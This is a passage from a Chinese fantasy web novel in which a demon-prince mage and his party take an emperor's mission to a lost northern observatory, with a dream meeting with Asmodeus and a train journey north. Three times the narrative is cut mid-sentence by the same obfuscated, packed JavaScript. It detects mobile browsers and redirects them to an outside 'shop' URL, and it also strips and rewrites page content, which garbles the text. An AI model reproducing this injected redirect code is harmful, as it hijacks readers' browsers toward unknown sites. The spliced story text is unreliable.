“如果你喝过地狱硫磺伏特加，就会觉得这玩意儿清淡得跟果汁一样。” “说实话，艾什尔。我之前一直觉得法师都是那种躲在塔里、手无缚鸡之力、满脑子咒语的书呆子。但你不一样。” “哦？”艾什尔优雅地切下一块香肠，“哪里不一样？因为我这无可挑剔的英俊？” “不是。”亚瑟直视着他，“是因为你会在巨像爆炸的时候站在最前面。虽然你的手段……有点……怎么说……” “邪恶？” “……对。但我能感觉到，你对力量的掌控是为了保护，不是毁灭。那把火看着吓人，可它没伤到任何人。” 艾什尔切香肠的手顿了一下。 阿福的声音在脑海里响起，带着一丝揶揄：「多可爱误会。少爷，看来您的伪装不仅骗过了公会的水晶，连圣骑士的直觉都给蒙过去了。如果您那手是为了保护，九狱大概明天就能改组成慈善基金会。」 “也许吧。”艾什尔不置可否地笑笑，把肉送进嘴里，“有时候，只有用更纯粹的恶，才能压制失控的恶。以毒攻毒罢了。” 这顿酒一直喝到下午。两人虽然性格迥异，但在酒精和刚才那场并肩作战的催化下，聊得意外投机。 亚瑟开始吐槽他在原来世界的骑士团里那些繁文缛节，而艾什尔则适时地抛出几个地狱笑话，逗得这位严肃的骑士差点把酒喷出来。 傍晚时分，索拉利姆皇宫。 当两人带着一身酒气和硝烟味出现在宫门前时，值守的卫兵立刻竖起了长枪。 “站住。衣冠不整者不得……等等，是异界勇者大人？” 卫兵认出了亚瑟标志性的金发和那柄圣剑，态度瞬间软化，但看向艾什尔的眼神依然严苛。 “我们刚经历了一场激战。为了保卫帝国的商业资产，与一头失控的钢铁怪兽进行了殊死搏斗。现在有紧急情报需向陛下汇报。” 亚瑟无奈地瞥了身边的同伴一眼，还是配合地点头：“确实发生了战斗。我们需要觐见。” 皇宫内部的消息传递比预想中更快。或许商业区遇袭的简报早已送达御前，侍从长埃琳娜很快出现，领着两人穿过长廊前往去觐见。 “两位大人，陛下正在执政厅内批阅公文。觐见前，请容我提醒——” 她的话音未落，执政厅的沉重大门突然打开了，从中走出一位身着深紫礼服的中年男人。 “大公阁下！” 埃琳娜慌忙退到一旁，深深低头，连呼吸都放轻了。 摄政王雷纳德·冯·斯特林。这个名字本身就代表着帝国的半壁江山。 亚瑟瞬间绷紧了身体，那是同为武者的本能反应，他在这个男人身上嗅到了尸山血海的气息。 斯特林停下了脚步。 “听说，郁金香大道今天发生了一起严重的事故。两位勇者恰好在场？” “不是‘恰好’，公爵阁下。是响应号召。” 艾什尔从怀里掏出冒险者徽章，别在胸口最显眼的位置，脸上挂起无懈可击的商业微笑。 “作为刚注册的冒险者，我们不仅完美地解决了公共危机，保护了帝国纳税人的财产，还顺便帮炼金术师公会测试了新产品的防御漏洞。我想，这足以证明我们没在皇宫里白吃白喝，对吗？” 斯特林瞥了眼昂贵法师袍上格格不入的廉价徽章，又看了看旁边一脸“我想解释但不知从何说起”的亚瑟。 紧绷的面容松动了些许。 “很好。既然这么有活力，希望当你们面对真正的对手时，还能笑得这么开心。” 望着公爵离去的背影，亚瑟长出一口气，抹了抹额角的汗。 “他刚才是在威胁我们？” “不。”艾什尔耸耸肩，摸出保温杯润了润嗓子，“那是中老年人表达‘我很欣赏你’的傲娇方式。相信我，我对这套很熟。” 埃琳娜松了口气，引领二人步入执政厅。 皇帝奥雷里乌斯·瓦勒里乌斯没有穿戴繁复的皇袍，一身纯白军礼服简洁到近乎禁欲。 他单手支颐，金色眼眸平静地注视着走进来的两人。头顶那轮光元素凝结的日冕徐徐旋转，散发着令人无法抬头直视的威压。 “参见陛下。”亚瑟行了一个标准的骑士礼。 艾什尔则微微欠身，法师礼做得优雅规范，却透着一股走个流程的敷衍。 “看来，帝都的热情让你们印象深刻？” 金瞳扫过两人，那种被看穿一切的感觉让亚瑟脊背僵硬。 艾什尔却如清风拂面，嘴角噙笑：“热情得恰到好处，陛下。只不过某些炼金造物对交通规则有独特的理解。作为热心市民，我们协助它找到了刹车，虽然过程稍微激烈了些。” “朕不在乎拆了几条街，只要不是拆了朕的皇宫。听说你们还顺手宰了炼金术师公会一笔？” 亚瑟的头垂得更低，额角渗出冷汗。 “是合理赔偿，陛下。”艾什尔纠正道，“维护冒险者合法权益，人人有责。” “很好。在这个帝国，懂得把力量变现是种美德。你们证明了自己的价值，这就够了。” 奥雷里乌斯唇角极其轻微地扬了一下，一闪而逝。 “原定的皇家猎场试炼取消了。既然你们已经能拆掉一台攻城巨像，再去猎杀几只兔子未免浪费时间。” “现在，朕要给你们第一个真正的任务。” “两个小时前，位于绝境长城以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193809|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北三百里的观测站发回了最后一条讯息，随后彻底失联。斯特林卿刚刚离开，正是为了赶回前线。” 亚瑟神情严肃：“陛下，难道是深渊力量吗？” “尚不确定，但那能量波动不属于已知的任何体系。帝国军队受制于繁复军规和庞大体系，面对这种未知威胁往往反应迟钝。朕需要一支精锐、灵活、独立的队伍进行调查。” 奥雷里乌斯挥了挥手，委托书羊皮纸凭空飞到两人面前。 “拿着这个，明日一早出发。魔导列车会为你们准备好专厢。” 奥雷里乌斯挥了挥手，委托书羊皮纸凭空飞到两人面前。 艾什尔快速阅读，当看到奖赏包括五万金币以及帝国皇家宝库通行权时眼睛一亮。 即使以地狱的标准看，这也是笔不错的买卖。 “当然，陛下。”他优雅地行礼，夹住了那份委任书，“比起打猎兔子，我确实更喜欢探索未知。不过……” 他抬起头，直视着那双燃烧的黄金瞳。 “既然是出公差，去那种连鸟都拉不出屎的苦寒之地，报销标准是不是应该适当提高一点？比如御寒物资？” 亚瑟在旁边拼命给艾什尔使眼色，眼角都要抽筋了。 但奥雷里乌斯却笑了。 “准了。拿着朕的手谕，去皇家物资库挑选你们需要的补给。限额两万金币。” 皇帝重新落座，那个简单的动作让整个空间的重心都随之下沉。光辉从四面八方汇聚，将他的面容掩映在神圣的朦胧之中。 “别死了，勇者们。帝国为你们支付的召唤费用很昂贵，朕不喜欢做亏本生意。” 艾什尔转身，走出几步，又像是想起了什么，侧过头。 “对了。那台巨像的核心里，我找到了一颗不该存在的东西。” 他摸出保温杯，拧开盖子，将一颗暗红色的晶体倒在掌心。那东西还在微微发烫，表面残留着被地狱火灼烧过的焦痕。 “这不是机械故障。有人往里面塞了一颗炼金核弹，当量足够把半个商业区送上天。” 他将晶体放在门边的托盘上，拍了拍手。 “如果是我，会让人查查那台原型机的制造名单和物资采购链。也许能挖出点有趣的东西。” 大门在身后缓缓关闭，将那足以灼烧灵魂的光辉隔绝在内。 艾什尔对一直侯在门外的埃琳娜扬了扬手中的皇帝手谕。 “麻烦您了，埃琳娜女士。请务必用最快的速度把另外两位勇者请到皇家物资库。告诉他们，这是一场不可错过的自助餐，迟到的人只能舔盘子。” 十分钟后，在埃琳娜无可奈何的协助下，这支还在磨合期的勇者小队终于在皇家物资库的大门前集结完毕。 克莱尔裹着件深紫色的斗篷，一脸没睡醒的样子，手里还抱着一本厚得像砖头一样的魔法书。 希罗则像个幽灵一样从旁边的阴影里冒出来，狐尾焦躁地甩动了一下。 “我不喜欢冷的地方。” “所以我们才需要装备。这次可是公费旅游……啊不，公费出差。不刷爆这张单子，对得起皇帝陛下的慷慨吗？” 9. 地狱通话 负责接待的是一位发丝梳得一丝不苟的中年内务官。他审视着眼前这支怎么看都不靠谱的队伍，嘴角抽动。 “手谕确认无误。两万金币限额。哼，现在的年轻人真是……” 内务官虽然对这种铺张浪费表示不满，但还是尽职地打开了厚重的大门。 物资库内部使用了空间拓展魔法，远比外面看起来要大得多，成排的货架一眼望不到头。 “请进吧。注意，只能选取北境生存相关的物资。任何夹带私货的行为都将视作诈骗公款……咳！比如那个想拿皇家特供红茶的黑发先生。” 艾什尔遗憾地把手从精美茶罐上缩回来。 “每人一套极地生存装备是必须的。”亚瑟直奔防具区，务实地抱出四套厚重的霜狼皮大衣。 “极地霜狼血液凝萃……高纯度火元素结晶……还有这个！空间折叠帐篷！” 克莱尔开心的抱着一个外观平平无奇的邮差包。 “这下不用担心羊皮纸受潮了！还能隔绝外界魔力干扰，简直是完美的移动实验室。” 希罗不知何时已站在另一排货架前。 “静默之油，闪光粉尘……还有霜蜘蛛的丝，比钢丝坚韧十倍，雪地里几乎隐形。做陷阱或者其他用途都很方便。” “都拿上，反正不是花我的钱。”艾什尔大手一挥，暴发户气质拉满。 阿福的声音带着一丝不屑：「少爷，这些不过是凡俗的破铜烂铁。建议移步B-7区，第三排架底层。侦测到微弱的下层位面波动。」 艾什尔晃到指定位置，那里堆着些许久无人问津的杂物。 他在一堆破旧卷轴和收损的武器中翻找了一下，捡到一块遍布裂纹的黑色晶石。 头顶的魔法灯火忽地闪烁了两下，光线黯淡几分。 “这是……” 「灾厄共鸣石。佩戴后，周围敌人会变得格外倒霉，动作迟钝、判断失误。附近若有生物死亡，会转化为佩戴者可用的能量。」 “有点意思。”艾什尔将那块厄运石抛起又接住，塞进口袋。 结算时，内务官盯着一张纸写不下的清单，心疼得直抽抽，盖章的手都在发抖。 物资库门口，四人分道扬镳。 克莱尔抱着一堆施法材料跑向图书馆，嘴里碎碎念着“成分分析”、“魔力图谱”之类的怪话。希罗则一如既往消失在阴影里。 亚瑟倒是想跟艾什尔多聊几句，但被后者一句“明天还要赶路，你的圣剑不去保养一下吗”给打发了。 回到套房，关上房门，艾什尔终于卸下了那副社交恐怖分子的面具。 他把自己扔进了那张足以容纳三只食人魔打滚的四柱大床上，舒服地叹了口气。 “虽然我不太喜欢这里的装修风格，太亮，太白，太刺眼了。但不得不承认，这床垫的舒适度勉强及格。” 他掏出「因果律钞能力·白金钻卡」，只见卡面流光正迅速黯淡，边缘像燃尽的灰烬般剥落。 “再见了，我的朋友。” 他深情地在卡片上印下一吻，随即被残留的高温烫得龇牙咧嘴。 “虽然只有短短十二小时，但我们之间的感情比真金还真。” 「请不要对一张一次性魔导卡片产生跨物种依恋，少爷。那很恶心。」 白金钻卡化作一缕青烟消散。 「今日成长任务已结算。评语：您的行为不仅挥霍了金钱，还顺带收割了凡人的敬畏与感激。这种双赢（指您赢两次）的操作非常符合地狱的核心价值观。」 「申请地狱宝库权限……通过。随机奖励抽取中……」 怀表剧烈震动，表盖自动弹开。指针疯狂旋转，发出老虎机般的悦耳音效。 “来个歼星舰，或者浮游炮。”艾什尔搓着手，两眼放光，“再不济给个九环法术位也行啊。” 指针渐渐慢了下来。 第一个图标停在了一只做鬼脸的小恶魔上。 第二个图标停也停在了小恶魔上。 第三个图标…… “哐当！” 三个鬼脸连成一线，投影界面瞬间炸开一团金红色的烟花。 【魔契便签·如果我是你】 效果：指定一个可视目标，强制其在接下来的10分钟内，实时同步持有者当前□□与精神上的所有感知（包括但不限于痛觉、冷热、社死般的尴尬，以及穿毛衣的刺痒感）。 评语：“有时候，只有让别人穿上你的毛衣走两步，他们才会闭嘴。” 一本薄薄的黑色便签本凭空砸在艾什尔肚子上。 他拿起来翻了两页，脸上的期待逐渐垮成无趣。 “‘如果我是你’……啧，老头子这是在暗示我不会换位思考？” 「不，少爷。我认为宗主大人的意思是，下次再有人嘲笑您的毛衣时，您可以让对方亲身体验一下把钢丝球穿在身上是什么感觉。这非常具有教育意义。」 艾什尔想象了一下亚瑟，或者那个目空一切的皇帝套上羊毛衫后的表情，忍不住在床上发出了反派专属的桀桀怪笑。 “行了，退下吧，小福子。” 「晚安，少爷。明早我会播放巴洛炎魔的晨间咆哮作为闹铃，助您开启元气满满的一天。」 艾什尔踢掉被子，呼吸渐沉。 再次睁眼时，皇宫卧室已被置换成另一处空间。 一间极度宽敞，也极度压抑的办公室 这里是九层地狱最底层，他的老家。 窗外不是索拉利姆的月光，而是永恒燃烧的深红裂隙，无数堕落灵魂在其中哀嚎翻滚，构成这片领域独有的白噪音。 视线中央是一张巨大的黑曜石办公桌，上面堆叠着几座羊皮纸山。这大概是多元宇宙刚刚过去的一秒钟内产生的所有地狱契约。 书桌另一端，一位身着深红丝绸西装的中年绅士正优雅地搅动茶杯。 九狱之主，阿斯摩狄斯。 对艾什尔而言，是那个总把“多喝岩浆”挂在嘴边的更年期老父亲。 “晚上好，父亲。” 艾什尔低头审视自己，绝望地发现就连梦也是穿那件审美灾难的毛衣。 “我们能谈谈关于审美的问题吗？您知道我穿着这身毛衣活像一棵行走的圣诞树吗？” 阿斯摩狄斯抬起头。 那张面孔英俊得近乎妖异，眼眸中燃烧着足以焚尽位面的原初之火，却因为一副金丝眼镜的遮挡硬生生添了几分儒雅书卷气。 “审美是主观的，孩子。但在绝对的防御力面前，审美不值一提。” 他打了个响指。空气撕裂，一只隐形仆役飘来，托盘上放着一杯热气袅袅的红茶，以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193810|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及三颗冰淇淋球。 只不过这冰淇淋球还在微微颤抖，并且发出细微的“嘤嘤”声。 “尝尝这个，别西卜刚送来的悔恨之泪口味冰激凌。” 阿斯摩狄斯温和地推荐道。 “每一口都能尝到罪人忏悔时流下的甜蜜眼泪，低脂低糖，富含灵魂蛋白，适合追求健康饮食的年轻人。” 艾什尔盯着那三颗瑟瑟发抖的球体，挖了一勺送进嘴里。 口感确实惊艳。绝望的冰冷与忏悔的苦涩在舌尖炸开，回甘却是极致的甘甜。 “你知道我为什么把你扔到这个位面吗？孩子。” “为了历练？为了让我见识一下没有您的庇护我是多么脆弱？总不是为了让我搞什么异界变形计吧？” “不。” 阿斯摩狄斯十指交叉，抵在下颌。 “这个位面很特殊，闻起来像是一个发酵过头的垃圾场，但垃圾场里却埋藏着连我都觉得有趣的东西。” “什么东西？” “一些……‘旧日’的残响。” “别打哑谜，老头子。” “好吧，既然你这么急，那就说点实际的。你去北境这趟差事，正好顺路帮我收笔账。” 他轻轻挥手，壁炉里的火焰猛地窜高，在空中变幻出一幅幅模糊的画面：北境的冰原、咆哮的暴风雪，以及一座被冰雪覆盖的神殿残骸。 “很久以前，有个贪婪的家伙想从我这儿借点力量，去对抗那些来自星空的不可名状之物。” “然后呢？他赖账了？” “不，比那更恶劣。” 地狱之主的眼神冷了下来。办公室内的温度瞬间跌破绝对零度，壁炉里作为燃料的灵魂甚至来不及惨叫就被冻成了冰雕。 “他利用合同里一个生僻的语法漏洞，把债务转嫁给了整个世界，自己则躲进了一个连死神都找不到的位面夹缝。” “三个纪元过去了，利息还在涨。我不喜欢坏账，艾什尔。” 阿斯摩狄斯的目光落在他身上，意味深长地停留了两秒。 “从来不喜欢。” 艾什尔被那目光看得有些发毛，但又说不清哪里不对。 “所以，我是去当讨债人的？” “你是去维护契约神圣性的。”阿斯摩狄斯纠正道，“带着那个人类骑士，还有小女巫和刺客。他们的灵魂成色不错，尤其是那个拿剑的小子。虽然脑子死板了点，但只要稍加引导，就是一把好刀。” 他勾起一抹意味深长的笑容。 “今天做得不错。你分给他的两千五百金币，意义不在于数额本身，而在于你让他参与了分赃。那是共犯结构的雏形，我的孩子。” “当圣骑士接受灰色金币时，他便已朝我们这边迈了一步。” 艾什尔对这个什么都能往阴谋论上扯的老头子无话可说：“我只觉得见者有份。” “结果是一样的。” 阿斯摩蒂斯从西装口袋里掏出和艾什尔胸口那块一模一样的怀表瞥了眼时间。 “好了，梦境时间不能太长，你的人类躯体需要深度睡眠来休息。” 九狱之主站起身，那个瞬间，他身后的黑影似乎无限放大，至高无上的威压一闪而逝，让人灵魂发颤。 “醒来吧，孩子。别忘了穿秋裤，北边很冷。” 10. gogogo出发喽 “吼——！！！” 清晨七点整，足以震碎龙晶玻璃的咆哮在艾什尔脑颅内准时炸响。 那动静简直像是把一只巴洛炎魔塞进脑子里拼命怒吼。 艾什尔直挺挺地从床上弹起，心脏狂跳。 「恒温型炼狱羊毛衫」体贴入微地提供了一阵慈父拍背唤醒的惊悚触感。 “阿福。” 艾什尔按着太阳穴，红瞳中翻涌着想把世界核平的冲动。 “要不是我确信把你拆了也换不回这一秒钟的安宁，你现在已经是废纸了。” 阿福依旧保持着令人火大的优雅与平静：「早安，少爷。现在的气温是舒适的24度，当然，这是指您的毛衣内部。外部气温已跌至零下五度。另外，鉴于您昨晚的加班，建议您今天摄入双倍的糖分以维持大脑运转。」 “只要你别给我播放地狱底层的噪音，我的大脑就能运转得很好。” 他面无表情地揉了揉僵硬的脸颊，从衣架上取下昨日重金定制的星纹蛛丝高定法师袍。 穿上它的瞬间，空间折叠技术完美生效。深邃的面料吞噬周围的光线，暗银符文流淌其间。高立领恰好遮住毛衣灾难性的领口，宽大的袖摆垂落，只露出一截苍白的腕骨，以及那块漆黑的灾厄共鸣石。 “只要不解开扣子，我就是此世最优雅、最神秘、审美最在线的顾问。”艾什尔对着镜子整理银扣，满意点头。 “今日份的家庭作业是什么？” 【今日成长任务：破冰行动】 「漫长旅途需要良好的团队氛围。作为有教养的绅士，您应当学会用语言艺术温暖队友冰冷的心灵。」 目标：出发前，对至少两名队友进行一次真诚的赞美，且不被判定为阴阳怪气。 成功奖励：随机生活用品盲盒×1 失败惩罚：24小时内保温杯仅提供鲱鱼罐头原汁。 “真诚？你是不是对我的语言艺术有什么误解，我这人向来真诚。” 「正是因为太了解……也罢，您的自信也是一种力量。」 艾什尔在脑海里飞快地过了一遍草稿。 赞美希罗？ “你的尾巴真不错，手感肯定很棒，那蓬松度简直是做围脖的顶级材料。” 赞美克莱尔？ “虽然你只有一米五，但在浓缩就是精华这一点上，你是教科书级别的。” 赞美亚瑟？ “你的胸大肌练得真好，弹性十足，充满着正义的光辉。” 「很好，少爷。照这个思路走下去，您马上就能达成孤家寡人成就。」 …… 公共起居室内，空气里飘着烤面包和红茶的香气。 “早上好，各位无畏的冒险者，帝国未来的栋梁，以及——” 大门推开，法师袍的下摆随步伐扬起。艾什尔脸上挂着刚从时尚杂志封面抠下来的完美笑容，大步迈入。 “——早起毁一天的践行者们。” 亚瑟转过身，看到艾什尔的瞬间眼前一亮。 “我的朋友，不得不说这身装扮真的非常适合你，一万两千金币花的不亏。”骑士由衷地赞叹道。 “谢谢你的诚实，亚瑟。”艾什尔走到他面前，极其自然地伸手替骑士正了正披风搭扣。 “我也不得不说，这身甲胄让你的胸肌看起来比平时宽了至少两寸。看这背阔肌的线条，简直就是为了承载帝国的荣耀而生的。有你在前面顶着，我在后面放法术都觉得特别有安全感。” 亚瑟被夸得老脸一红，挠了挠头，露出了日漫男主的爽朗笑容：“哈哈，过奖了！这是骑士的基本素养……不过如果你觉得有安全感，那我就放心了！” 「判定通过。目标亚瑟·布雷克特，被卖保健品指数指数五星。」阿福在脑海里播报。 “至于你，我们的小天才。” 克莱尔从书后抬起头，眼神不善：“如果你敢评价我的魔法理论，我就把你变成……” “我是说，你的身高多么浓缩。你知道吗？在古老的神秘学里，越强大的魔力，越需要精密容器来承载。你不是矮，你是魔力密度过高导致的空间塌缩。这种体型正是你作为顶级施法者的勋章。那些长得像傻大个的法师，哪怕把魔力填满脑子，也不如你一根手指头灵活。” 克莱尔愣住了。 准备好的那句“去死吧高个子混蛋”卡在喉咙里。她眨了眨紫罗兰色的眼睛，理智告诉她这家伙在胡扯，但这说法……听起来竟然意外的顺耳？ “哼。”她重新把脸埋回书里，但嘴角却不可抑制地微微上扬了一个像素点，“油嘴滑舌，歪理邪说……倒也不算全错。” 「少爷，您简直是在雷区上跳踢踏舞。」阿福叹了口气。 艾什尔向淑□□雅地行了一礼，目光扫过角落里那团依旧在装睡的阴影。 “我知道你在试图隐藏，但作为一名拥有卓越审美的顾问，那种银白光泽，那种蓬松质感，简直是造物主的奇迹。相信我，如果把你挂在帝都皮草店门口，绝对能引发一场贵妇间的战争。” 希罗眯起眼睛，盯着艾什尔看了足足五秒，最终冷哼一声，松开了匕首柄，但那条尾巴却诚实地稍微摇摆了一下。 「……判定通过。考虑到兽族对皮毛护理的自豪感，这算得上是最高赞誉。恭喜您，少爷，任务完成。看来是我低估了您的巧舌如簧。」 “我明明是真诚的。” 「奖励已发放至您的背包。鉴于您在社交任务中展现的创造性诠释能力，宗主大人表示‘这孩子随我’。是褒是贬，您自行判断。」 艾什尔正要询问奖励内容，埃琳娜带着侍从走了进来。 她双手交叠，行了一个标准到无可挑剔的宫廷礼，脸上笑容完美，眼神却透着想尽快把这帮瘟神送走的迫切。 “诸位勇者大人，通往北境风啸堡的极光号魔导列车已经完成整备，随时可以出发。” …… 索拉利姆中央车站。 这座全大陆最大的交通枢纽是一座巨大的魔法奇迹。穹顶由某种巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193811|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽的半透明肋骨与魔法水晶拼接而成，日光穿过复杂的符文阵列，在地面投下不断流转的彩色光斑。 “那是……龙吗？” 亚瑟望着停靠在第一站台的那台庞然大物，嘴巴微张。 那是一辆通体漆黑，车头被设计成咆哮龙首形状的重型魔导列车。 车身两侧是悬浮在轨道上方的反重力符文板。随着魔力炉的预热，符文逐渐亮起蓝光，周围的空气都因高浓度的魔力而微微颤动。 埃琳娜做了一个“请”的手势。 “车厢配备了独立的魔力调理室、观景阳台以及一位专属的构装体管家。此行前往北境边陲的风啸堡大约需要十二个小时。祝各位旅途愉快。” “哇哦……” 这次发出赞叹的是除了艾什尔之外的所有人。 车厢内部并不像外观那样充满钢铁的冷硬感，反而奢华得像座微缩的移动行宫。 深红天鹅绒地毯厚实得足以淹没脚踝，墙上挂着魔法油画，画中风景随列车行进而实时变幻。每张高背扶手椅都由不知名魔兽皮革制成，旁边小桌上摆着精致点心和恒温红茶。 “这也太……” 亚瑟有些手足无措，担心他的甲胄会刮花这些看起来就很贵的装饰。 “这也太豪华了吧？我们是去执行任务，还是去度假？” “对于有格调的人来说，生活处处都是度假。” 艾什尔毫不客气地占据了最舒适的长沙发，顺手抄起旁边茶几上一颗看起来就很昂贵的果子咬了一口。 “免费的吗？”他含糊不清地问。 “……是的，克劳利阁下。”埃琳娜在车门外深吸了一口气，“车上的一切都不需要额外付费。” 艾什尔转向正对着一面会根据心情变换颜色的魔法窗帘啧啧称奇的亚瑟道：“听到了吗亚瑟？尽情享用。这是纳税人的钱……哦不，是陛下对我们的关爱。” 亚瑟闻言转头，一脸正气：“艾什尔，我们肩负着重任，不应该沉迷于享乐……不过偶尔享受一下生活也不错。” 克莱尔也毫不客气地端起红茶：“考虑到我们要去的地方可能连像样的床都没有，这算是最后的午餐？” 希罗默默走到车厢角落，选了个背靠墙壁，能监控所有入口的位置坐下。 “呜——！！” 悠长的汽笛声响起，脚下地板轻轻震动。巨大的魔导列车如苏醒的钢铁巨兽，缓缓滑出站台。 窗外，索拉利姆标志性的白金建筑群开始缓缓后退。晨光中的建筑像座漂浮云端的孤岛，送行人群逐渐缩成一个个模糊黑点。 亚瑟趴在玻璃上，看着飞速后退的景色，满脸兴奋：“太快了！比我的世界最快的狮鹫骑士的速度还要快！” 「呵，低效的魔力传导系统，这辆列车的能量利用率低于70%。在九狱，这种工程质量足以让负责的魔鬼工程师被扔进熔炉当燃料了。」 “入乡随俗，阿福。”艾什尔拿起一块曲奇饼干，“至少这里的饼干不含硫磺。” 11. Lostbelt永久冻原 白金与日冕交织的索拉利姆早已远去，窗外是连绵的山丘和稀疏山林。 阳光透过魔法玻璃洒进车厢，却没了索拉利姆的炽烈。越往北走，天色越发灰蒙，像有人在穹顶蒙了层薄纱。 “好了，既然大家都吃饱喝足，来聊聊正事。” 亚瑟放下茶杯，从披风内侧掏出一卷羊皮纸，铺在沙发间的茶几上。 一幅军用级别的北境地图。 “这是我特意拜访斯特林大公拿到的。” 亚瑟的手指点在地图的右上方。 “风啸堡在这里，帝国北境最大的军事要塞，也是绝境长城的指挥中心。主要是用来阻挡永久冻原的魔兽潮。” 手指沿着一条黑线向北移动。 “北境的形势比较特殊，失联的观测站是在在长城以北三百里，属于曾经的洛萨恩王国的势力范围。那座观测站是两国联合设立的，专门监测冻原的异常活动。” 克莱尔皱眉：“洛萨恩自己不去查？非让我们跑一趟？” “因为洛萨恩二十年前就名存实亡了。王室被推翻，整个国家陷入分裂，现在那片土地被军阀和佣兵团瓜分，没有统一政权。” “观测站失联的原因确定了吗？”希罗难得开口。 “没有。”亚瑟摇头，“皇帝陛下只说是不明能量爆发，具体是什么性质的能量、爆发的规模有多大，这些情报都没有。” “观测站在失联前发回的最后一条消息提到了‘燃烧’和‘冻结’。具体内容没保存下来，只有零星的关键词。派去勘察的第一批人全部失踪，第二批人在距离观测站五十里的地方遭遇了反常的暴风雪，被迫撤退。” 艾什尔靠在沙发里，语气懒洋洋的：“永恒暴风雪的冰原，不明能量爆发，失联的观测站。听起来像骗冒险者送死的三流恐怖故事开头。” “信息量也太少了。”克莱尔直起身，语气不满，“走三百里路去一个可能已经变成废墟的地方，连要面对什么都不知道。” “所以才派我们去啊。”艾什尔唇角挂着标志性的漫不经心的笑容，“如果什么都知道，何必劳烦四位勇者大人呢？” …… 列车穿过最后一座隧道，车厢内的魔法灯闪烁两下。 窗外的景色骤然开阔。 灰白色的天穹压得很低，铅云翻涌。铁轨两侧的针叶林被积雪覆盖，树冠上挂着沉甸甸的冰凌。 远处，一道黑色巨影蛰伏在天际线上。 索拉瑞斯耗费百年修筑的修筑的绝境长城。六十尺高的花岗岩城墙绵延数百里，将人类领土与永久冻原彻底隔绝。 「少爷，即将抵达目的地。周围气温零下25度，体感约零下30度。空气湿度偏低，风速较强。鉴于毛衣的特性，您不会有任何不适。」 「但建议您假装哆嗦几下，以融入当地风俗。」 车门打开的瞬间，夹着冰晶的狂风直灌进来。 “嘶！好冷！” 即便有魔力护体，克莱尔也倒吸一口冷气。 “这里的环境魔力怎么如此惰性？”“她伸手触碰空气中的元素粒子，传来凝滞的沉重感，”就像是被什么东西强行镇压了一样。“ “习惯就好。” 希罗从她身边无声地滑过，拉低了兜帽，琥珀色竖瞳扫视着站台周围。 几名穿着厚重军大衣的士兵正站在出口处。 “走吧，别站在风口。” 亚瑟第一个跳下车厢，他深吸一口冷冽空气，精神反而振奋起来。 “北境的风，和我故乡有点像。” 他回头看向还在车门口磨蹭的队友，金色短发在寒风中扬起。 “艾什尔，没事吧？需不需要我帮你挡着点风？” 艾什尔慢悠悠地走下车厢，红宝石手杖拨开脚边的积雪。 寒风呼啸而过，掀起法师袍的领口。毛衣纹丝不动贴在身上，散发着令人舒适的暖意。 “没事，我有秋裤。” 「准确来说是岩浆纤维内衬。」阿福补充道，「虽然功能相同。」 …… 风啸堡驻军营地盘踞在要塞东北角，一道三米高的石墙将其与主城区隔开。 从站台到营地大门的这段路走了将近二十分钟。倒不是因为距离远，而是克莱尔每走十几步就要停下来搓一搓冻僵的手，顺便对着天空发出几声意义不明的哀嚎。 营地大门前，两名穿着黑铁甲胄的士兵拦住了他们。 “身份确认。” “我们是皇帝陛下委派的调查队。”亚瑟上前一步，从怀里掏出那枚奥雷里乌斯亲赐的金色令牌，“这是通行凭证。” 士兵接过令牌，翻来覆去看了半天。 “……请稍等。” 他转身朝营地内部跑去，另一名士兵则继续站在原地，用警惕又好奇的目光打量着这四个来历不明的异乡人。 片刻之后，一个身影从营地深处快步走了出来。 那是一个三十岁左右的女性军官，身穿黑铁与皮革混编的北境军官铠甲，肩章上别着铸剑徽记。 她走近之后，锐利的灰蓝色眼睛快速地扫过四人，似乎在审视几人的实力。 “帝国驻风啸堡中尉，艾琳·霍尔德。”她干脆利落地自我介绍，“斯特林阁下已提前发来通知，我们一直在等各位。” 她将令牌还给亚瑟，侧身做了个“请”的手势。 “营地准备了热汤和住处。有什么需要可以直接跟我说。不过正式的情报交接要等明天，负责的军官还在前线。” “前线？”亚瑟皱起眉头，“发生什么事了吗？” 艾琳的表情微微沉了沉。 “观测站失联之后，周围的魔物活动变得异常频繁。今天凌晨长城以北又出现了一次小规模的异常能量波动，格兰特上尉亲自率队勘察情况。” “你们最好做好心理准备。北边的情况，比帝都能拿到的情报要复杂得多。” 克莱尔终于不再搓手了：“具体是什么样的异常能量波动？” “冰属性的元素波动。观测站失联的那天晚上，我们在城墙上看到的远处天空……整片天都是蓝的，像是有什么东西在燃烧一样。” 寒风呼啸着掠过营地，卷起一阵雪粒。 阿福在脑内说道：「有趣。如 